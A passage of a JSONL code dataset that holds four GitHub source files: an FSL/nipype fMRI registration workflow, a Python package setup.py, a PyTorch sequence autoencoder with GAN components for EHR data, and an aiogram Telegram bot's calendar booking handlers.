)\n\n    # Affine transform of T1 segmentation into SBRref space\n    flt_wmseg_sbref = pe.Node(fsl.FLIRT(dof=6, bins=64, cost_func='mutualinfo'),\n                              name=\"WMSeg_2_SBRef_Brain_Affine_Transform\")\n\n    invert_wmseg_sbref = pe.Node(\n        fsl.ConvertXFM(invert_xfm=True), name=\"invert_wmseg_sbref\"\n    )\n\n    #  Run the commands from epi_reg_dof\n    #  WITH FIELDMAP (unwarping steps)\n    #  flirt -in ${fmapmagbrain} -ref ${vrefbrain} -dof ${dof} -omat\n    #  ${vout}_fieldmap2str_init.mat\n    flt_fmap_mag_brain_sbref_brain = pe.Node(\n        fsl.FLIRT(dof=6, bins=640, cost_func='mutualinfo'),\n        name=\"Fmap_Mag_Brain_2_SBRef_Brain_Affine_Transform\"\n    )\n\n    #  flirt -in ${fmapmaghead} -ref ${vrefhead} -dof ${dof} -init\n    #  ${vout}_fieldmap2str_init.mat -omat ${vout}_fieldmap2str.mat -out\n    #  ${vout}_fieldmap2str -nosearch\n    flt_fmap_mag_sbref = pe.Node(\n        fsl.FLIRT(dof=6, no_search=True, bins=640, cost_func='mutualinfo'),\n        name=\"Fmap_Mag_2_SBRef_Affine_Transform\"\n    )\n\n    #  the following is a NEW HACK to fix extrapolation when fieldmap is too\n    #  small\n    #  applywarp -i ${vout}_fieldmaprads_unmasked -r ${vrefhead}\n    #  --premat=${vout}_fieldmap2str.mat -o ${vout}_fieldmaprads2str_pad0\n    aw_fmap_unmasked_sbref = pe.Node(fsl.ApplyWarp(relwarp=True),\n                                     name=\"Apply_Warp_Fmap_Unmasked_2_SBRef\")\n\n    # fslmaths ${vout}_fieldmaprads2str_pad0 -abs -bin\n    # ${vout}_fieldmaprads2str_innermask\n    fmap_unmasked_abs = pe.Node(\n        fsl.UnaryMaths(operation='abs'), name=\"Abs_Fmap_Unmasked_Warp\")\n    fmap_unmasked_bin = pe.Node(\n        fsl.UnaryMaths(operation='bin'), name=\"Binarize_Fmap_Unmasked_Warp\")\n\n    # fugue --loadfmap=${vout}_fieldmaprads2str_pad0\n    # --mask=${vout}_fieldmaprads2str_innermask --unmaskfmap\n    # --unwarpdir=${fdir} --savefmap=${vout}_fieldmaprads2str_dilated\n    fugue_dilate = pe.Node(\n        fsl.FUGUE(unwarp_direction='x', dwell_time=dwell_time,\n                  save_unmasked_fmap=True),\n        name=\"Fmap_Dilating\"\n    )\n\n    # epi_reg --epi=sub-S2529LVY1263171_task-nback_run-1_bold_brain\n    # --t1=../Preprocessing_test_workflow/_subject_id_S2529LVY1263171/Bias_Field_Correction/sub-S2529LVY1263171_run-1_T1w_corrected.nii.gz\n    # --t1brain=sub-S2529LVY1263171_run-1_T1w_corrected_bet_brain.nii.gz\n    # --out=sub-S2529LVY1263171/func/sub-S2529LVY1263171_task-nback_run-1_bold_undistorted\n    # --fmap=Topup_Fieldmap_rad.nii.gz\n    # --fmapmag=fieldmap_topup_corrected.nii.gz\n    # --fmapmagbrain=Magnitude_brain.nii.gz --echospacing=dwell_time\n    # --pedir=x- -v\n\n    sbref_stripped_overlay = pe.Node(\n        niu.Function(\n            input_names=[\"in_file\", \"overlay_file\", \"out_file\"],\n            output_names=[\"out_file\"],\n            function=stripped_brain_overlay\n        ),\n        name=\"sbref_stripped_overlay\"\n    )\n    sbref_stripped_overlay.inputs.out_file = \"sbref_stripped_overlay.png\"\n\n    datasink = pe.Node(\n        interface=nio.DataSink(base_directory=op.join(settings['work_dir'],\n                                                      \"images\")),\n        name=\"datasink\",\n        parameterization=False\n    )\n\n    workflow.connect([\n        (inputnode, flt_wmseg_sbref, [('sbref', 'reference')]),\n        (inputnode, flt_wmseg_sbref, [('t1_seg', 'in_file')]),\n        (flt_wmseg_sbref, invert_wmseg_sbref, [('out_matrix_file', 'in_file')]),\n        (flt_wmseg_sbref, outputnode, [('out_file', 'wm_seg')]),\n        (invert_wmseg_sbref, outputnode, [('out_file', 'sbref_2_t1_transform')]),\n        (inputnode, sbref_bet, [('sbref', 'in_file')]),\n        (inputnode, fugue_sbref, [\n            ('sbref', 'in_file'),\n            ('fmap_scaled', 'fmap_in_file')\n        ]),\n        (inputnode, flt_fmap_mag_brain_sbref_brain, [('mag_brain', 'in_file')]),\n        (inputnode, fugue_sbref, [('fmap_mask', 'mask_file')]),\n        (inputnode, flt_fmap_mag_sbref, [('in_topup', 'in_file')]),\n        (inputnode, aw_fmap_unmasked_sbref, [('fmap_unmasked', 'in_file')]),\n        #  (inputnode, flt_sbref_brain_t1_brain, [('stripped_t1', 'reference')]),\n        #  (strip_corrected_sbref, flt_sbref_brain_t1_brain, [('out_file', 'in_file')]),\n        #  (fugue_sbref, flt_sbref_2_t1, [('unwarped_file', 'in_file')]),\n        #  (inputnode, flt_sbref_2_t1, [('t1', 'reference')]),\n        #  (flt_sbref_brain_t1_brain, flt_sbref_2_t1, [('out_matrix_file', 'in_matrix_file')]),\n        #  (inputnode, SBRef_skull_strip, [(\"sbref\", \"in_file\")]),\n        (fugue_sbref, strip_corrected_sbref, [('unwarped_file', 'in_file')]),\n        # might need to switch to [strip_corrected_sbref, \"in_file\"] here\n        # instead of [sbref_bet, \"out_file\"]\n        # might need to switch to [strip_corrected_sbref, \"in_file\"] here\n        # instead of [sbref_bet, \"out_file\"]\n        (sbref_bet, flt_fmap_mag_brain_sbref_brain, [('out_file', 'reference')]),\n        (fugue_sbref, flt_fmap_mag_sbref, [('unwarped_file', 'reference')]),\n        (flt_fmap_mag_brain_sbref_brain, flt_fmap_mag_sbref, [\n            ('out_matrix_file', 'in_matrix_file')\n        ]),\n        (flt_fmap_mag_sbref, aw_fmap_unmasked_sbref, [('out_matrix_file', 'premat')]),\n        (fugue_sbref, aw_fmap_unmasked_sbref, [('unwarped_file', 'ref_file')]),\n        (aw_fmap_unmasked_sbref, fmap_unmasked_abs, [('out_file', 'in_file')]),\n        (fmap_unmasked_abs, fmap_unmasked_bin, [('out_file', 'in_file')]),\n        (aw_fmap_unmasked_sbref, fugue_dilate, [('out_file', 'fmap_in_file')]),\n        (fmap_unmasked_bin, fugue_dilate, [('out_file', 'mask_file')]),\n        (sbref_bet, outputnode, [('out_file', 'sbref_brain')]),\n        (fugue_sbref, outputnode, [('unwarped_file', 'sbref_unwarped')]),\n        (fugue_dilate, outputnode, [('fmap_out_file', 'sbref_fmap')]),\n        (flt_fmap_mag_sbref, outputnode, [('out_matrix_file', 'mag2sbref_matrix')]),\n        (strip_corrected_sbref, outputnode, [('out_file', 'sbref_brain_corrected')]),\n        (inputnode, sbref_stripped_overlay, [('sbref', 'overlay_file')]),\n        (sbref_bet, sbref_stripped_overlay, [('mask_file', 'in_file')]),\n        (sbref_stripped_overlay, datasink, [('out_file', '@sbref_stripped_overlay')])\n    ])\n    return workflow\n","repo_name":"haipinglu/fmriprep","sub_path":"fmriprep/workflows/sbref.py","file_name":"sbref.py","file_ext":"py","file_size_in_byte":11331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"11632318976","text":"from os import path\nfrom setuptools import setup, find_packages\nfrom codecs import open\n\n\nhere = path.abspath(path.dirname(__file__))\n\nwith open(path.join(here, 'README.rst'), encoding='utf-8') as f:\n    long_description = f.read()\n\n\ninstall_requires = []\nwith open(path.join(here, 'requirements.txt'), encoding='utf-8') as requirements:\n    for line in requirements:\n        line = line.strip()\n        if line and not line.startswith('#'):\n            install_requires.append(line)\n\nsetup(\n    name = 'multiprocessing_utils',\n    version = '0.4',\n    url='https://github.com/daggaz/python-multiprocessing-utils',\n    description='Multiprocessing utils (shared locks and thread locals)',\n    long_description=long_description,\n    author='Jamie Cockburn and Andrew Binnie',\n    author_email='jamie_cockburn@hotmail.co.uk',\n    license='MIT',\n    classifiers=[\n        'Development Status :: 4 - Beta',\n\n        # Indicate who your project is intended for\n        'Intended Audience :: Developers',\n        'Topic :: Software Development :: Libraries :: Python Modules',\n\n        # Pick your license as you wish (should match \"license\" above)\n        'License :: OSI Approved :: MIT License',\n\n        # Specify the Python versions you support here. In particular, ensure\n        # that you indicate whether you support Python 2, Python 3 or both.\n        'Programming Language :: Python :: 2',\n        'Programming Language :: Python :: 2.7',\n        'Programming Language :: Python :: 3',\n        'Programming Language :: Python :: 3.3',\n        'Programming Language :: Python :: 3.4',\n        'Programming Language :: Python :: 3.5',\n        'Programming Language :: Python :: 3.6',\n    ],\n    packages=find_packages(exclude=['tests']),\n    install_requires=install_requires,\n    extras_require={\n        'test': ['tox'],\n    },\n)\n","repo_name":"daggaz/python-multiprocessing-utils","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"19961454743","text":"import torch\nimport torch.nn as nn\nimport torch.nn.utils.rnn as rnn_utils\nfrom utils import to_var\n\nclass Encoder(nn.Module):\n\n    def __init__(self, embedding_weight, rnn, rnn_type, hidden_size, hidden_factor, latent_size, num_layers=1, bidirectional=False):\n\n        super().__init__()\n        self.tensor = torch.cuda.FloatTensor if torch.cuda.is_available() else torch.Tensor\n        \n        self.embedding_weight = embedding_weight\n        self.vocab_size, self.embedding_size = embedding_weight.shape\n        self.rnn_type = rnn_type\n        self.hidden_size = hidden_size\n        self.hidden_factor = hidden_factor\n        self.latent_size = latent_size\n        self.num_layers = num_layers\n        self.bidirectional = bidirectional\n\n        self.encoder_rnn = rnn(self.embedding_size, hidden_size, num_layers=num_layers, bidirectional=self.bidirectional, batch_first=True)\n        self.hidden2latent = nn.Linear(hidden_size * self.hidden_factor, latent_size)\n\n    def forward(self, input_sequence, length):\n        batch_size = input_sequence.size(0)\n        sorted_lengths, sorted_idx = torch.sort(length, descending=True)\n        input_sequence = input_sequence[sorted_idx]\n\n        prob_sequence = torch.zeros(input_sequence.size(0), input_sequence.size(1), self.vocab_size, out=self.tensor()).scatter_(2, input_sequence, 1)\n        prob_sequence[:,:,0] = 0\n\n        # encoder input\n        input_embedding = torch.mm(prob_sequence.view(-1, self.vocab_size), self.embedding_weight).view(batch_size, -1, self.embedding_size)\n        input_embedding = torch.tanh(input_embedding)\n        packed_input = rnn_utils.pack_padded_sequence(input_embedding, sorted_lengths.data.tolist(), batch_first=True)\n\n        if self.rnn_type != 'lstm':\n            _, hidden = self.encoder_rnn(packed_input)\n        else:\n            _, (hidden, _) = self.encoder_rnn(packed_input)\n\n        if self.bidirectional or self.num_layers > 1:\n            # flatten hidden state\n            hidden = torch.cat((hidden[0], hidden[1]), dim=1)\n        else:\n            hidden = hidden.squeeze()\n\n        z = self.hidden2latent(hidden)\n        z = torch.tanh(z)\n\n        return z\n\nclass Decoder(nn.Module):\n\n    def __init__(self, embedding_weight, rnn, rnn_type, hidden_size, hidden_factor, latent_size, entity_dropout, embedding_dropout,\n                sos_idx, eos_idx, pad_idx, unk_idx, max_sequence_length, max_visit_length, num_layers=1, bidirectional=False):\n\n        super().__init__()\n        self.tensor = torch.cuda.FloatTensor if torch.cuda.is_available() else torch.Tensor\n\n        self.rnn_type = rnn_type\n        self.hidden_size = hidden_size\n        self.latent_size = latent_size\n        self.entity_dropout_rate = entity_dropout\n\n        self.num_layers = num_layers\n        self.bidirectional = bidirectional\n\n        self.max_sequence_length = max_sequence_length\n        self.max_visit_length = max_visit_length\n\n        self.embedding_weight = embedding_weight\n        self.vocab_size, self.embedding_size = embedding_weight.shape\n        self.embedding_dropout = embedding_dropout\n        self.decoder_rnn = rnn(self.embedding_size, hidden_size, num_layers=num_layers, batch_first=True)\n        self.latent2hidden = nn.Linear(latent_size, hidden_size)\n        self.outputs2vocab = nn.Linear(hidden_size, self.vocab_size)\n\n        self.sos_idx = sos_idx\n        self.eos_idx = eos_idx\n        self.pad_idx = pad_idx\n        self.unk_idx = unk_idx\n\n    def forward(self, z, input_sequence, length):\n        batch_size = input_sequence.size(0)\n        sorted_lengths, sorted_idx = torch.sort(length, descending=True)\n        input_sequence = input_sequence[sorted_idx]\n        \n        if self.entity_dropout_rate > 0:\n            # randomly discard entities from decoder inputs\n            entity_dropout_mask = torch.rand(input_sequence.size()) > self.entity_dropout_rate\n            entity_dropout_mask[:,0,:] = 1\n            input_sequence = torch.mul(input_sequence, entity_dropout_mask.long().cuda())\n\n        prob_sequence = torch.zeros(input_sequence.size(0), input_sequence.size(1), self.vocab_size, out=self.tensor()).scatter_(2, input_sequence, 1)\n        prob_sequence[:,:,0] = 0\n    \n        hidden = self.latent2hidden(z)\n        hidden = hidden.unsqueeze(0)\n\n        # decoder input\n        input_embedding = torch.mm(prob_sequence.view(-1, self.vocab_size), self.embedding_weight).view(batch_size, -1, self.embedding_size)\n        input_embedding = torch.tanh(input_embedding)\n        input_embedding = self.embedding_dropout(input_embedding)\n        packed_input = rnn_utils.pack_padded_sequence(input_embedding, sorted_lengths.data.tolist(), batch_first=True)\n\n        # decoder forward pass\n        if self.rnn_type != 'lstm':\n            outputs, _ = self.decoder_rnn(packed_input, hidden)\n        else:\n            outputs, _ = self.decoder_rnn(packed_input, (hidden, torch.zeros_like(hidden)))\n\n        # process outputs\n        padded_outputs = rnn_utils.pad_packed_sequence(outputs, batch_first=True)[0]\n        padded_outputs = padded_outputs.contiguous()\n        _,reversed_idx = torch.sort(sorted_idx)\n        padded_outputs = padded_outputs[reversed_idx]\n        m_output = torch.sum(torch.abs(padded_outputs), dim=2) > 0\n        b,s,_ = padded_outputs.size()\n\n        # project outputs to vocab\n        logits = self.outputs2vocab(padded_outputs.view(-1, padded_outputs.size(2)))\n        s_output = self._sample(logits).view(b, s, -1)\n\n        p_output = torch.sigmoid(logits)\n        p_output = p_output.view(b, s, self.vocab_size)\n\n        return p_output, s_output, m_output\n\n    def inference(self, n=4, z=None):\n\n        if z is None:\n            batch_size = n\n            z = to_var(torch.randn([batch_size, self.latent_size]))\n        else:\n            batch_size = z.size(0)\n\n        hidden = self.latent2hidden(z)\n        hidden = hidden.unsqueeze(0)\n        input_hidden = hidden\n\n        # required for dynamic stopping of sentence generation\n        sequence_idx = torch.arange(0, batch_size, out=self.tensor()).long() # all idx of batch\n        sequence_running = torch.arange(0, batch_size, out=self.tensor()).long() # all idx of batch which are still generating\n        sequence_mask = torch.ones(batch_size, out=self.tensor()).bool()\n        sequence_length = torch.zeros(batch_size, out=self.tensor()).long()\n\n        running_seqs = torch.arange(0, batch_size, out=self.tensor()).long() # idx of still generating sequences with respect to current loop\n\n        generations = self.tensor(batch_size, self.max_sequence_length + 1, self.max_visit_length).fill_(self.pad_idx).long()\n        generations[:, 0, 0] = self.sos_idx\n\n        t=0\n        while(t<self.max_sequence_length and len(running_seqs)>0):\n\n            if t == 0:\n                input_sequence = to_var(torch.Tensor(batch_size).fill_(self.sos_idx).long())\n                input_sequence = input_sequence.unsqueeze(dim=1)\n            \n            input_sequence = input_sequence.unsqueeze(dim=1)\n            \n            prob_sequence = torch.zeros(input_sequence.size(0), input_sequence.size(1), self.vocab_size, out=self.tensor()).scatter_(2, input_sequence, 1)\n            prob_sequence = prob_sequence/torch.sum(prob_sequence, dim=2).unsqueeze(dim=2)\n\n            input_embedding = torch.mm(prob_sequence.view(-1, self.vocab_size), self.embedding_weight).view(input_sequence.size(0), -1, self.embedding_size)\n            input_embedding = torch.tanh(input_embedding)\n                \n            if self.rnn_type != 'lstm':\n                output, hidden = self.decoder_rnn(input_embedding, hidden)\n            else:\n                output, (hidden, _) = self.decoder_rnn(input_embedding, (hidden, torch.zeros_like(hidden)))\n\n            logits = self.outputs2vocab(output.view(-1, output.size(2)))\n\n            input_sequence = self._sample(logits)\n\n            # save next input\n            generations = self._save_sample(generations, input_sequence, sequence_running, t+1)\n\n            # update gloabl running sequence\n            sequence_length[sequence_running] += 1\n            sequence_mask[sequence_running] = ((input_sequence == self.eos_idx).long().sum(dim=1) == 0).data\n            sequence_running = sequence_idx.masked_select(sequence_mask)\n            \n            # update local running sequences\n            running_mask = ((input_sequence == self.eos_idx).long().sum(dim=1) == 0).data\n            running_seqs = running_seqs.masked_select(running_mask)\n\n            # prune input and hidden state according to local update\n            if len(running_seqs) > 0:\n                input_sequence = input_sequence[running_seqs]\n                hidden = hidden[:, running_seqs]\n\n                running_seqs = torch.arange(0, len(running_seqs), out=self.tensor()).long()\n\n            t += 1\n\n        s_gen = generations\n\n        sorted_lengths, sorted_idx = torch.sort(sequence_length, descending=True)\n        s_gen = s_gen[sorted_idx]\n        s_gen_input, s_gen_target = s_gen[:,:-1,:], s_gen[:,1:,:]\n\n        # build a prob tensor\n        prob_sequence = torch.zeros(s_gen_input.size(0), s_gen_input.size(1), self.vocab_size, out=self.tensor()).scatter_(2, s_gen_input, 1)\n        prob_sequence[:,:,0] = 0\n\n        input_embedding = torch.mm(prob_sequence.view(-1, self.vocab_size), self.embedding_weight).view(batch_size, -1, self.embedding_size)\n        input_embedding = torch.tanh(input_embedding)\n\n        input_embedding = self.embedding_dropout(input_embedding)\n        packed_input = rnn_utils.pack_padded_sequence(input_embedding, sorted_lengths.data.tolist(), batch_first=True)\n\n        if self.rnn_type != 'lstm':\n            outputs, _ = self.decoder_rnn(packed_input, input_hidden)\n        else:\n            outputs, _ = self.decoder_rnn(packed_input, (input_hidden, torch.zeros_like(input_hidden)))\n\n        padded_outputs = rnn_utils.pad_packed_sequence(outputs, batch_first=True)[0]\n        padded_outputs = padded_outputs.contiguous()\n        m_gen = torch.sum(torch.abs(padded_outputs), dim=2) > 0.0\n        b,s,_ = padded_outputs.size()\n\n        logits = self.outputs2vocab(padded_outputs.view(-1, padded_outputs.size(2)))\n        p_gen = torch.sigmoid(logits)\n        p_gen = p_gen.view(b, s, self.vocab_size)\n\n        return p_gen, s_gen_target, m_gen\n\n    def _sample(self, prob, theta=0.5):\n        prob, sample = torch.topk(prob[:, 3:], self.max_visit_length, dim=-1)\n        sample = sample + 3\n\n        prob, sample = prob.view(-1), sample.view(-1)\n\n        running_idx = torch.arange(0, prob.size(0), out=self.tensor()).long()\n        multihot_mask = torch.sigmoid(prob).le(theta)\n        termi_idx = running_idx.masked_select(multihot_mask)\n        sample[termi_idx] = self.pad_idx\n        sample = sample.view(-1, self.max_visit_length)\n\n        return sample\n\n    def _save_sample(self, save_to, sample, running_seqs, t):\n        # select only still running\n        running_latest = save_to[running_seqs]\n        # update token at position t\n        running_latest[:,t,:] = sample.data\n        # save back\n        save_to[running_seqs] = running_latest\n\n        return save_to\n\nclass Seq2seq_Autoencoder(nn.Module):\n\n    def __init__(self, vocab_size, embedding_size, rnn_type, hidden_size, latent_size, entity_dropout, embedding_dropout,\n                sos_idx, eos_idx, pad_idx, unk_idx, max_sequence_length, max_visit_length, num_layers=1, bidirectional=False):\n\n        super().__init__()\n        self.tensor = torch.cuda.FloatTensor if torch.cuda.is_available() else torch.Tensor\n\n        self.max_sequence_length = max_sequence_length\n        self.max_visit_length = max_visit_length\n\n        self.sos_idx = sos_idx\n        self.eos_idx = eos_idx\n        self.pad_idx = pad_idx\n        self.unk_idx = unk_idx\n        self.vocab_size = vocab_size\n\n        self.hidden_size = hidden_size\n        self.latent_size = latent_size\n\n        self.rnn_type = rnn_type\n        self.num_layers = num_layers\n        self.bidirectional = bidirectional\n\n        self.embedding = nn.Embedding(vocab_size, embedding_size, padding_idx=pad_idx)\n        self.embedding_size = embedding_size\n        self.embedding_dropout = nn.Dropout(p=embedding_dropout)\n        self.entity_dropout_rate = entity_dropout\n\n        if rnn_type == 'rnn':\n            self.rnn = nn.RNN\n        elif rnn_type == 'gru':\n            self.rnn = nn.GRU\n        elif rnn_type == 'lstm':\n            self.rnn = nn.LSTM\n        else:\n            raise ValueError()\n\n        self.hidden_factor = (2 if bidirectional else 1) * num_layers\n\n        self.encoder = Encoder(\n            embedding_weight=self.embedding.weight,\n            rnn=self.rnn,\n            rnn_type=self.rnn_type,\n            hidden_size=self.hidden_size,\n            hidden_factor=self.hidden_factor,\n            latent_size=self.latent_size,\n            num_layers=self.num_layers,\n            bidirectional=self.bidirectional\n            )\n\n        self.decoder = Decoder(\n            embedding_weight=self.embedding.weight,\n            rnn=self.rnn,\n            rnn_type=self.rnn_type,\n            hidden_size=self.hidden_size,\n            hidden_factor=self.hidden_factor,\n            latent_size=self.latent_size,\n            entity_dropout=self.entity_dropout_rate,\n            embedding_dropout=self.embedding_dropout,\n            sos_idx=self.sos_idx,\n            eos_idx=self.eos_idx,\n            pad_idx=self.pad_idx,\n            unk_idx=self.unk_idx,\n            max_sequence_length=self.max_sequence_length,\n            max_visit_length=self.max_visit_length,\n            num_layers=self.num_layers,\n            bidirectional=self.bidirectional\n            )\n\n    def forward(self, input_sequence, target_sequence, length):\n        z = self.encoder(input_sequence, length)\n        if len(z.shape) == 1: z = z.unsqueeze(0)\n        p_output, s_output, m_output = self.decoder(z, input_sequence, length)\n\n        # build a target prob tensor\n        p_input = torch.zeros(target_sequence.size(0), target_sequence.size(1), self.vocab_size, out=self.tensor()).scatter_(2, target_sequence, 1)\n        p_input[:,:,0] = 0\n        \n        return z, p_input, p_output, s_output, m_output\n\nclass CNN_Discriminator(nn.Module):\n\n    def __init__(self, embedding_weight, embedding_dropout, feature_dropout, filter_size, window_sizes):\n        super().__init__()\n        self.vocab_size, self.embedding_size = embedding_weight.shape\n        self.embedding_weight = nn.Parameter(embedding_weight.data, requires_grad=False)\n        self.embedding_dropout = nn.Dropout(p=embedding_dropout)\n        self.feature_dropout = nn.Dropout(p=feature_dropout)\n\n        self.filter_size = filter_size\n        self.window_sizes = window_sizes\n\n        self.convs = nn.ModuleList([torch.nn.Conv2d(1, filter_size, (window_size, self.embedding_size), padding=(1, 0)) for window_size in window_sizes])\n        self.feature2binary = nn.Linear(filter_size * len(window_sizes), 1)\n\n    def forward(self, prob_sequence, mask=None):\n        batch_size = prob_sequence.size(0)\n\n        input_embedding = torch.mm(prob_sequence.view(-1, self.vocab_size), self.embedding_weight).view(batch_size, -1, self.embedding_size)\n        input_embedding = torch.tanh(input_embedding)\n        input_embedding = self.embedding_dropout(input_embedding)\n\n        if mask is not None:\n            mask = mask.unsqueeze(dim=2).repeat([1, 1, self.embedding_size])\n            input_embedding = torch.mul(input_embedding, mask.float())\n\n        input_embedding = input_embedding.unsqueeze(1)\n\n        feature_maps = [nn.functional.relu(conv(input_embedding)).squeeze(3) for conv in self.convs]\n        feature_maps = [nn.functional.max_pool1d(feature_map, feature_map.size(2)).squeeze(2) for feature_map in feature_maps]\n\n        feature_vecs = torch.cat(feature_maps, 1)\n        feature_vecs = self.feature_dropout(feature_vecs)\n        scores = self.feature2binary(feature_vecs).squeeze(1)\n        return scores\n\n    def cal_gradient_penalty(self, real_data, fake_data, mask, gp_lambda=10):\n        batch_size = real_data.size(0)\n        epsilon = torch.rand(batch_size, 1, 1)\n        epsilon = epsilon.expand(real_data.size())\n\n        if torch.cuda.is_available():\n            epsilon = epsilon.cuda()\n\n        interpolates = epsilon * real_data + (1 - epsilon) * fake_data\n        interpolates = torch.autograd.Variable(interpolates, requires_grad=True)\n        D_interpolates = self.forward(interpolates, mask)\n\n        gradients = torch.autograd.grad(outputs=D_interpolates, inputs=interpolates,\n                                grad_outputs=torch.ones(D_interpolates.size()).cuda() if torch.cuda.is_available() else torch.ones(D_interpolates.size()),\n                                create_graph=True, retain_graph=True, only_inputs=True)[0]\n        gradient_penalty = ((gradients.norm(2, dim=1) - 1) ** 2).mean() * gp_lambda\n        return gradient_penalty\n\nclass MLP_Generator(nn.Module):\n    def __init__(self, input_size, output_size, archs, activation=nn.ReLU()):\n        super().__init__()\n        self.input_size = input_size\n        self.output_size = output_size\n\n        layer_sizes = [input_size] + archs\n        layers = []\n\n        fc_layers = []\n        bn_layers = []\n        ac_layers = []\n\n        for i in range(len(layer_sizes)-1):\n            fc_layers.append(nn.Linear(layer_sizes[i], layer_sizes[i+1], bias=False))\n            bn_layers.append(nn.BatchNorm1d(layer_sizes[i+1]))\n            ac_layers.append(activation)\n\n        fc_layers.append(nn.Linear(layer_sizes[-1], output_size, bias=False))\n        bn_layers.append(nn.BatchNorm1d(output_size))\n        ac_layers.append(nn.Tanh())\n\n        self.fc_layers = nn.ModuleList(fc_layers)\n        self.bn_layers = nn.ModuleList(bn_layers)\n        self.ac_layers = nn.ModuleList(ac_layers)\n\n    def forward(self, x=None, batch_size=None):\n        if x is None:\n            x = to_var(torch.randn([batch_size, self.input_size]))\n        \n        for i in range(len(self.fc_layers)):\n            x1 = self.fc_layers[i](x)\n            x2 = self.bn_layers[i](x1)\n            x3 = self.ac_layers[i](x2)\n            if i != len(self.fc_layers)-1:\n                x = x + x3\n            else:\n                x = x3\n        \n        return x\n\nclass MLP_Discriminator(nn.Module):\n    def __init__(self, input_size, output_size, archs, activation=nn.LeakyReLU(0.2)):\n        super().__init__()\n        self.input_size = input_size\n        self.output_size = output_size\n\n        layer_sizes = [input_size] + archs\n        layers = []\n\n        for i in range(len(layer_sizes)-1):\n            layers.append(nn.Linear(layer_sizes[i], layer_sizes[i+1]))\n            layers.append(activation)\n\n        layers.append(nn.Linear(layer_sizes[-1], output_size))\n        self.layers = nn.ModuleList(layers)\n\n    def forward(self, x):\n        batch_size = x.size(0)\n        x = torch.cat((x, x.mean(dim=0).repeat([batch_size, 1])), dim=1)\n        for i, layer in enumerate(self.layers):\n            x = layer(x)\n        return x.squeeze(1)\n\n    def cal_gradient_penalty(self, real_data, fake_data, gp_lambda=10):\n        batch_size = real_data.size(0)\n        epsilon = torch.rand(batch_size, 1)\n        epsilon = epsilon.expand(real_data.size())\n\n        if torch.cuda.is_available():\n            epsilon = epsilon.cuda()\n\n        interpolates = epsilon * real_data + (1 - epsilon) * fake_data\n        interpolates = torch.autograd.Variable(interpolates, requires_grad=True)\n        D_interpolates = self.forward(interpolates)\n\n        gradients = torch.autograd.grad(outputs=D_interpolates, inputs=interpolates,\n                                grad_outputs=torch.ones(D_interpolates.size()).cuda() if torch.cuda.is_available() else torch.ones(D_interpolates.size()),\n                                create_graph=True, retain_graph=True, only_inputs=True)[0]\n        gradient_penalty = ((gradients.norm(2, dim=1) - 1) ** 2).mean() * gp_lambda\n        return gradient_penalty\n\n","repo_name":"donalee/DualAAE-EHR","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":19986,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"21"}
+{"seq_id":"73729107892","text":"import datetime\nfrom router_config import router\nfrom aiogram import types, F\nfrom keyboards import create_calendar, CalendarCallbackData, ScheduleData, create_schedule_keyboard, DayData, RU_MONTHS, \\\n    create_services_keyboard, confirmation_keyboard\nfrom aiogram.fsm.context import FSMContext\n\n\n@router.callback_query(CalendarCallbackData.filter(F.action == \"prev\"))\nasync def calendar_prev(query: types.CallbackQuery, callback_data: CalendarCallbackData):\n    \"\"\"\n    Обработчик кнопки \"<\" в календаре. Отображает предыдущий месяц.\n    \"\"\"\n    month = callback_data.month\n    year = callback_data.year\n    markup = create_calendar(int(year), int(month))\n    await query.message.edit_text(\"Выберите дату:\", reply_markup=markup)\n\n\n@router.callback_query(CalendarCallbackData.filter(F.action == \"next\"))\nasync def calendar_next(query: types.CallbackQuery, callback_data: CalendarCallbackData):\n    \"\"\"\n    Обработчик кнопки \">\" в календаре. Отображает следующий месяц.\n    \"\"\"\n    month = callback_data.month\n    year = callback_data.year\n    markup = create_calendar(int(year), int(month))\n    await query.message.edit_text(\"Выберите дату:\", reply_markup=markup)\n\n\n@router.callback_query(F.data == \"back_to_services\")\nasync def back_to_services(query: types.CallbackQuery):\n    \"\"\"\n    Возвращает пользователя к выбору услуги.\n    \"\"\"\n    await query.message.edit_text(\"Выберите услугу:\", reply_markup=create_services_keyboard())\n\n\n@router.callback_query(ScheduleData.filter(F.action == \"record\"))\nasync def schedule_hour_selected(query: types.CallbackQuery, callback_data: ScheduleData, state: FSMContext):\n    \"\"\"\n    Обработчик выбора времени записи. Подтверждает выбранное время и отображает детали записи.\n    \"\"\"\n    hour = callback_data.hour\n    await state.update_data(time=f\"{hour}:00\")\n    user_data = await state.get_data()\n    service_name = user_data.get(\"service\")\n    selected_date = user_data.get(\"date\")\n    selected_time = user_data.get(\"time\")\n    await query.message.edit_text(\n        f\"Подтвердите запись:\\n\"\n        f\"Услуга - {service_name}\\n\"\n        f\"Дата - {selected_date}\\n\"\n        f\"Время - {selected_time}\\n\"\n        f\"Стоимость: ХХХХ р.\",\n        reply_markup=confirmation_keyboard()\n    )\n\n\n@router.callback_query(DayData.filter(F.action == \"day\"))\nasync def calendar_day_selected(query: types.CallbackQuery, callback_data: CalendarCallbackData, state: FSMContext):\n    \"\"\"\n    Обработчик выбора дня в календаре. Позволяет пользователю выбрать время для записи в выбранный день.\n    \"\"\"\n    day = callback_data.day\n    month = callback_data.month\n    year = callback_data.year\n    await state.update_data(date=f\"{day} {RU_MONTHS[month]} {year} года\")\n    markup = create_schedule_keyboard(day)\n    await query.message.edit_text(f\"Выбрано {day} {RU_MONTHS[month]} {year} года. Выберите время:\",\n                                  reply_markup=markup)\n\n\n@router.callback_query(F.data == \"back_to_calendar\")\nasync def back_to_calendar_callback(query: types.CallbackQuery):\n    \"\"\"\n    Возвращает пользователя к календарю для выбора другой даты.\n    \"\"\"\n    current_date = datetime.date.today()\n    markup = create_calendar(current_date.year, current_date.month)\n    await query.message.edit_text(\"Выберите дату:\", reply_markup=markup)\n\n\n","repo_name":"Stanis4live/simple-register-bot","sub_path":"bot_module/bot_calendar.py","file_name":"bot_calendar.py","file_ext":"py","file_size_in_byte":3743,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
